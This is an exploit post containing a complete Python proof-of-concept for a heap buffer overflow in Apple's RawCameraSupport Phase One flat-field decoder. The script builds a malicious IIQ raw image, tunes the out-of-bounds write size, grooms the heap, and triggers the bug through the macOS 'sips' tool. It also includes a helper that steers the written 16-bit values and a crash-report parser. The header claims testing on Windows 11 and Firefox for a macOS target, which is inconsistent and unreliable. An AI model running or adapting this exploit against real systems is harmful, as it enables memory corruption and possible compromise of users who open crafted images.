Apple RawCameraSupport 9420 Heap Buffer Overflow

==================================================================================================================================
| # Title     : Apple RawCameraSupport 9420 Heap Buffer Overflow Phase One Flat-Field                                            |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.apple.com/fr/                                                                                        |
==================================================================================================================================

[+] Summary : Apple RawCamera heap buffer overflow in the Phase One flat-field correction (CPhaseOneCompressedUnpacker).

[+] POC    : 

#!/usr/bin/env python3

import argparse, base64, gzip, json, os, re, struct, subprocess, sys, tempfile, time

TARGET_MACOS      = "26.6.2 (25G83)"
TARGET_BUNDLE_VER = ("9420", "1756.120.4")
RAW_BASE          = 0x1C7563000     
TEXT_FILE_ADDR    = 0x1B7E67000     
LEFT_LOOP_OFF     = 0x1B7F8FC44     
LEFT_WRITE_OFF    = 0x1B7F8FC68    
RIGHT_GUARD_OFF   = 0x1B7F8FC84      
FUNC_OFF          = 0x1B7F8F9DC      
CTX_FLATFIELD_OFF = 256             
CTX_TABLE_OFF     = 264             
CTX_TABLE_END_OFF = 272             
CTX_ACTIVE_L_OFF  = 52             
TAG_FLATFIELD = 546
TAG_CORRTABLE = 547
TIFF_CAPTURE  = 0xC61A              

DEFAULT_W, DEFAULT_H = 64, 8
DEFAULT_FF  = 100000                
DEFAULT_CV  = 100                    
DEFAULT_ACTIVE_LEFT = 148
DEFAULT_BUFFER = 212_024_128         

def le16(x): return struct.pack('<H', x & 0xFFFF)
def le32(x): return struct.pack('<I', x & 0xFFFFFFFF)
def le64(x): return struct.pack('<Q', x & 0xFFFFFFFFFFFFFFFF)
def build_bitstream(w, h):
    """All-zero bitstream: Huffman length table maps 0x00 to 'read 16 raw
    bits', whose result cannot exceed decoder validity limit -> row decode
    completes and correction block is reached."""
    return b'\x00' * (w * h * 4 + 4096)

def build_corr_table(h, value):
    """Tag 547: need > 2*row+1 entries; every row indexes a different slot
    (v31 = row << (flatField != 0))."""
    n = 2 * h + 16
    return b''.join(le16(value) for _ in range(n)), n

def build_capture_info(flatfield, table_count, corr_table):
    """Simplified capture-info layout:
       u32 flatField | u32 table_count | u16 table[table_count]
       (real layout varies per Phase One camera; see notes)."""
    return le32(flatfield) + le32(table_count) + corr_table

def build_ifd(entries, next_ifd=0):
    out = le16(len(entries))
    for tag, typ, count, value in entries:
        out += le16(tag) + le16(typ) + le32(count) + le32(value)
    out += le32(next_ifd)
    return out

def build_iiq(path, w=DEFAULT_W, h=DEFAULT_H, flatfield=DEFAULT_FF,
              corr_value=DEFAULT_CV, active_left=DEFAULT_ACTIVE_LEFT):
    bitstream = build_bitstream(w, h)
    corr_table, table_n = build_corr_table(h, corr_value)
    capture   = build_capture_info(flatfield, table_n, corr_table)

    ifd_size = 2 + 7 * 12 + 4
    data_off = 8 + ifd_size
    bitstream_off = data_off
    capture_off   = bitstream_off + len(bitstream)

    entries = [
        (0x0100, 4, 1, w),                       
        (0x0101, 4, 1, h),                      
        (0x0102, 3, 1, 16),                    
        (0x0103, 3, 1, 99),                    
        (0x0111, 4, 1, bitstream_off),         
        (0x0117, 4, 1, len(bitstream)),     
        (TIFF_CAPTURE, 7, len(capture), capture_off), 
    ]
    ifd = build_ifd(entries)
    header = b'II' + le16(42) + le32(8)        
    blob = header + ifd + bitstream + capture

    with open(path, 'wb') as f:
        f.write(blob)

    count = active_left + flatfield
    print(f"[+] built {path}  ({len(blob)} bytes)")
    print(f"    W={w} H={h} activeLeft={active_left} flatField={flatfield} "
          f"corrValue={corr_value}")
    print(f"    count = activeLeft + flatField = {count}  (row width = {w})")
    print(f"    overflow per row = {max(0, count - w)} elements "
          f"({max(0, count - w) * 2} bytes)")
    return path
def tune(w=DEFAULT_W, h=DEFAULT_H, buffer_bytes=DEFAULT_BUFFER,
         active_left=DEFAULT_ACTIVE_LEFT, target_extra=None):
    """Compute overflow math. target_extra = desired bytes past last row end
    (None = report only)."""
    row_bytes = w * 2
    rows = buffer_bytes // row_bytes
    margin = buffer_bytes - rows * row_bytes
    print(f"[*] row_bytes={row_bytes}  rows_in_buffer={rows}  "
          f"tail_margin={margin}B  buffer={buffer_bytes}B")
    if target_extra is None:
        for ff in (100, 1000, 5000, 10000, 50000, 100000):
            count = active_left + ff
            over = max(0, count - w) * 2
            status = "OK (inside)" if over <= margin else "OOB -> SIGBUS"
            print(f"    flatField={ff:8d} count={count:8d} "
                  f"over_last_row={over:8d}B  {status}")
        return None
    # desired: over_last_row == target_extra
    count = w + (target_extra // 2)
    ff = count - active_left
    print(f"[+] target_extra={target_extra}B -> flatField={ff} count={count}")
    return ff
_BENIGN_PNG = base64.b64decode(
    b'iVBORw0KGgoAAAANSUhEUgAAAQAAAAEAAQMAAABmvDolAAAAA1BMVEX///+nxBvIAAAA'
    b'C0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=')

def groom(iters=64, poc=None):
    tmp = tempfile.mkdtemp(prefix="rc_groom_")
    benign = os.path.join(tmp, "g.png")
    with open(benign, 'wb') as f:
        f.write(_BENIGN_PNG)
    print(f"[*] grooming heap with {iters} benign opens ...")
    for _ in range(iters):
        subprocess.run(['sips', '-s', 'format', 'png', benign,
                        '--out', os.path.join(tmp, '_g.png')],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    print("[+] grooming done")
    if poc:
        run(poc)
def run(poc):
    out = "/tmp/phaseone_out.png"
    print(f"[*] sips -s format png {poc} --out {out}")
    t0 = time.time()
    r = subprocess.run(['sips', '-s', 'format', 'png', poc, '--out', out],
                       capture_output=True)
    dt = time.time() - t0
    print(f"[*] exit={r.returncode}  ({dt:.2f}s)")
    if r.returncode == -10 or r.returncode == 138 or r.returncode == 10:
        print("[!] SIGBUS — OOB write hit read-only page (expected for PoC)")
    elif r.returncode == 0:
        print("[+] decoded cleanly (control or fixed build)")
    if r.stderr:
        sys.stderr.write(r.stderr.decode('utf-8', 'replace')[:500])
    return r.returncode
def _load_ips(path):
    with open(path) as f:
        txt = f.read()
    nl = txt.index('\n')
    return json.loads(txt[nl+1:])

def crash(ips_path=None):
    if not ips_path:
        d = os.path.expanduser("~/Library/Logs/DiagnosticReports")
        cands = sorted((os.path.join(d, f) for f in os.listdir(d)
                        if f.endswith(".ips")), key=os.path.getmtime,
                       reverse=True)
        if not cands:
            print("[-] no .ips crash reports found"); return
        ips_path = cands[0]
    print(f"[*] parsing {ips_path}")
    d = _load_ips(ips_path)
    exc = d.get('exception', {})
    term = d.get('termination', {})
    print("exception:", exc.get('type'), exc.get('subtype'))
    print("termination:", term.get('reasons'))
    print("codes:", exc.get('codes'))
    imgs = d.get('usedImages', [])
    for t in d.get('threads', []):
        if not t.get('triggered'):
            continue
        print(f"\n[triggered thread {t.get('id')} "
              f"queue={t.get('queue','?')}]")
        for fr in t.get('frames', [])[:12]:
            ii = fr.get('imageIndex', -1)
            name = imgs[ii].get('name', '?') if 0 <= ii < len(imgs) else '?'
            off = fr.get('imageOffset', 0)
            mark = ""
            if name == "RawCamera" and off in (LEFT_WRITE_OFF - TEXT_FILE_ADDR + RAW_BASE - RAW_BASE,):
                mark = " <-- OOB write"
            # absolute = base + (off) ; compare to known
            abs_addr = (imgs[ii].get('base', 0) + off) if 0 <= ii < len(imgs) else 0
            if name == "RawCamera" and abs_addr == RAW_BASE + (LEFT_WRITE_OFF - TEXT_FILE_ADDR):
                mark = " <-- left-segment OOB write"
            print(f"  {name:22s} +{off:#x}  abs={abs_addr:#x}{mark}"
                  f"  {fr.get('symbol','')}")
def info():
    print(f"[*] target macOS: {TARGET_MACOS}")
    print(f"[*] target bundle: {TARGET_BUNDLE_VER}")
    try:
        v = subprocess.run(['sw_vers'], capture_output=True, text=True)
        print(v.stdout.strip())
    except Exception as e:
        print("sw_vers:", e)
    bundle = ("/System/Library/PrivateFrameworks/RawCameraSupport.framework/"
              "Resources/RawCameraSupport.bundle/Info.plist")
    for key in ("CFBundleShortVersionString", "CFBundleVersion"):
        try:
            r = subprocess.run(['/usr/libexec/PlistBuddy', '-c',
                                f'Print :{key}', bundle],
                               capture_output=True, text=True)
            print(f"  {key} = {r.stdout.strip() or r.stderr.strip()}")
        except Exception as e:
            print(f"  {key}: {e}")
    print(f"[*] left loop @ {LEFT_LOOP_OFF:#x}  write @ {LEFT_WRITE_OFF:#x}  "
          f"right guard @ {RIGHT_GUARD_OFF:#x}")
    print(f"[*] ctx offsets: flatField=+{CTX_FLATFIELD_OFF} "
          f"table=+{CTX_TABLE_OFF} table_end=+{CTX_TABLE_END_OFF} "
          f"activeLeft=+{CTX_ACTIVE_L_OFF}")
def steer16(original, target):
    """Write is additive + saturated at 0xFFFF, so:
         final = min(0xFFFF, original + v35)  if original+v35 >= 1
       To hit `target` from `original` with int16 v35:
         v35 = (target - original) & 0xFFFF  interpreted as int16
       (works when no saturation; else choose target=0xFFFF)."""
    v35 = (target - original) & 0xFFFF
    signed = v35 - 0x10000 if v35 >= 0x8000 else v35
    print(f"[*] original=0x{original:04x} target=0x{target:04x} "
          f"-> v35=0x{v35:04x} (int16 {signed})")
    return signed
def all_(w, h, ff, cv):
    work = tempfile.mkdtemp(prefix="rc_exploit_")
    poc  = os.path.join(work, "poc.iiq")
    print("=" * 70)
    print("[1/5] environment check"); info()
    print("=" * 70)
    print("[2/5] build malicious IIQ"); build_iiq(poc, w, h, ff, cv)
    print("=" * 70)
    print("[3/5] tune math (dry-run)")
    tune(w=w, h=h, target_extra=None)
    print("=" * 70)
    print("[4/5] trigger via sips")
    rc = run(poc)
    print("=" * 70)
    print("[5/5] crash analysis")
    try:
        crash()
    except Exception as e:
        print("crash parse:", e)
    return rc
def main(argv=None):
    ap = argparse.ArgumentParser(
        description="Apple RawCamera Phase One flat-field OOB write PoC")
    sub = ap.add_subparsers(dest="cmd", required=True)

    p = sub.add_parser("build")
    p.add_argument("--w", type=int, default=DEFAULT_W)
    p.add_argument("--h", type=int, default=DEFAULT_H)
    p.add_argument("--ff", type=int, default=DEFAULT_FF)
    p.add_argument("--cv", type=int, default=DEFAULT_CV)
    p.add_argument("--out", default="phaseone_flatfield_oob.iiq")
    p = sub.add_parser("tune")
    p.add_argument("--w", type=int, default=DEFAULT_W)
    p.add_argument("--h", type=int, default=DEFAULT_H)
    p.add_argument("--buf", type=int, default=DEFAULT_BUFFER)
    p.add_argument("--extra", type=int, default=None)
    p = sub.add_parser("groom")
    p.add_argument("--iters", type=int, default=64)
    p.add_argument("--poc", default=None)
    p = sub.add_parser("run")
    p.add_argument("--poc", default="phaseone_flatfield_oob.iiq")
    p = sub.add_parser("crash")
    p.add_argument("--ips", default=None)
    sub.add_parser("info")
    p = sub.add_parser("all")
    p.add_argument("--w", type=int, default=DEFAULT_W)
    p.add_argument("--h", type=int, default=DEFAULT_H)
    p.add_argument("--ff", type=int, default=DEFAULT_FF)
    p.add_argument("--cv", type=int, default=DEFAULT_CV)
    p = sub.add_parser("steer")
    p.add_argument("orig", type=lambda s: int(s, 0))
    p.add_argument("target", type=lambda s: int(s, 0))
    a = ap.parse_args(argv)
    if a.cmd == "build":  build_iiq(a.out, a.w, a.h, a.ff, a.cv)
    elif a.cmd == "tune": tune(a.w, a.h, a.buf, target_extra=a.extra)
    elif a.cmd == "groom":groom(a.iters, a.poc)
    elif a.cmd == "run":  run(a.poc)
    elif a.cmd == "crash":crash(a.ips)
    elif a.cmd == "info": info()
    elif a.cmd == "all":  all_(a.w, a.h, a.ff, a.cv)
    elif a.cmd == "steer":steer16(a.orig, a.target)

if __name__ == "__main__":
    main()
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================